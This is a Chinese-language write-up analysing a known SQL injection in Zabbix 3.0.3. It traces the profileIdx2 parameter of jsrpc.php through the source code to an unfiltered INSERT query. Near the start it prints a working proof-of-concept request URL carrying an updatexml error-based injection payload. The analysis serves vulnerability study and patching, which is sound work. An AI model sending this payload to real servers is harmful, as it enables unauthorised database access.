曝光过程

  1. 2016年8月11日,有人在seclists上公布了这个漏洞的POC,但是针对的是latest.php这个文件的注入,zabbix官方已经在7月22日发布了补丁,在3.0.4版本进行了修复,但是仅修复了latest.php的注入问题
  2. 紧接着8月12日,有人在seclists上进行回复,发现另一处jsrpc.php的注入,但两个漏洞的原理是一样的,3.0.4是否修补jsrpc.php的注入不得而知。

Right, it’s the same vuln, just in different places. It was fixed in 3.0.4.

漏洞分析

我们以jsrpc.php的注入为例进行分析,采用zabbix的3.0.3版本,源码编译安装。先看一下POC:

http://127.0.0.1:8001/jsrpc.php?
type=9&
method=screen.get&
timestamp=1471403798083&
pageFile=history.php&
profileIdx=web.item.graph&
profileIdx2=1+or+updatexml%281,md5%280x11%29,1%29+or+1=1%29%23&
updateProfile=true&
period=3600&
stime=20160817050632&
resourcetype=17

注入点在profileIdx2处,根据POC的结果可以看出来是insert类型的注入。

首先查看jsrpc.php文件,根据method参数,直接来到180行:

case 'screen.get':
    $result = '';
    $screenBase = CScreenBuilder::getScreen($data);
    if ($screenBase !== null) {
        $screen = $screenBase->get();

        if ($data['mode'] == SCREEN_MODE_JS) {
            $result = $screen;
        }
        else {
            if (is_object($screen)) {
                $result = $screen->toString();
            }
        }
    }
    break;

首先跟进CScreenBuilder::getScreen($data)函数,其中$data参数就是$_REQUEST,在31行被赋值。

getScreen函数中,根据请求的resourcetype不同,会初实例化不同的类,在POC中看到resourcetype的值为17,从include/defines.inc.php中可以看到17对应的为SCREEN_RESOURCE_HISTORY

define('SCREEN_RESOURCE_HOSTGROUP_TRIGGERS',14);
define('SCREEN_RESOURCE_SYSTEM_STATUS',     15);
define('SCREEN_RESOURCE_HOST_TRIGGERS',     16);
// used in Monitoring > Latest data > Graph (history.php)
define('SCREEN_RESOURCE_HISTORY',           17);
define('SCREEN_RESOURCE_CHART',             18);
define('SCREEN_RESOURCE_LLD_SIMPLE_GRAPH',  19);
define('SCREEN_RESOURCE_LLD_GRAPH',         20);

紧接着我们就可以从getScreen函数中找到对应的处理代码:

case SCREEN_RESOURCE_HISTORY:
    return new CScreenHistory($options);

返回的是CScreenHistory类的实例,继续跟进CScreenHistory类,看到该类是继承自CScreenBase的,传入的参数其实还是$_REQUEST。简单的通读一下这个类的代码加上搜索功能,定位到了下面这段代码:

// Calculate timeline.
if ($this->required_parameters['timeline'] && $this->timeline === null) {
    $this->timeline = $this->calculateTime([
        'profileIdx' => $this->profileIdx,
        'profileIdx2' => $this->profileIdx2,
        'updateProfile' => $this->updateProfile,
        'period' => array_key_exists('period', $options) ? $options['period'] : null,
        'stime' => array_key_exists('stime', $options) ? $options['stime'] : null
    ]);
}

发现在构造函数中,只有这里用到了profileIdx2参数,于是继续跟进calculateTime函数。在这个函数中,有两个函数用到了$options["profileIdx2"],分别是:

CProfile::get() // 从CProfile类的$profiles数组中获取数据。
CProfile::update() // 更新CProfile类的$profiles,$insert,$update数组。

到现在已经走完了实例化的过程,在jsrpc.php中要继续调用get()方法,不过这个函数通读下来并没有什么与漏洞相关的信息,然后继续在jsrpc.php中向下跟,到最后的部分会看到:

require_once dirname(__FILE__).'/include/page_footer.php';

所以我们跟到这个文件中去,在38行左右有如下代码:

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

继续进入CProfile::flush()函数,看到如下代码:

foreach (self::$insert as $idx => $profile) {
    foreach ($profile as $idx2 => $data) {
        $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
    }
}

self::$insert就是我们之前使用CProfile::update()方法设置过的,可以看到又取出了idx2,并送入了self::insertDB函数,继续跟到self::insertDB函数中去:

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

在最后的DBexecute函数中,插入了我们的profileIdx2,没有进行任何过滤,导致了INSERT类型的SQL注入出现。另外一种latest.php的注入原理与这个比较相近,各位可以自行分析一下,这里就不再赘述了。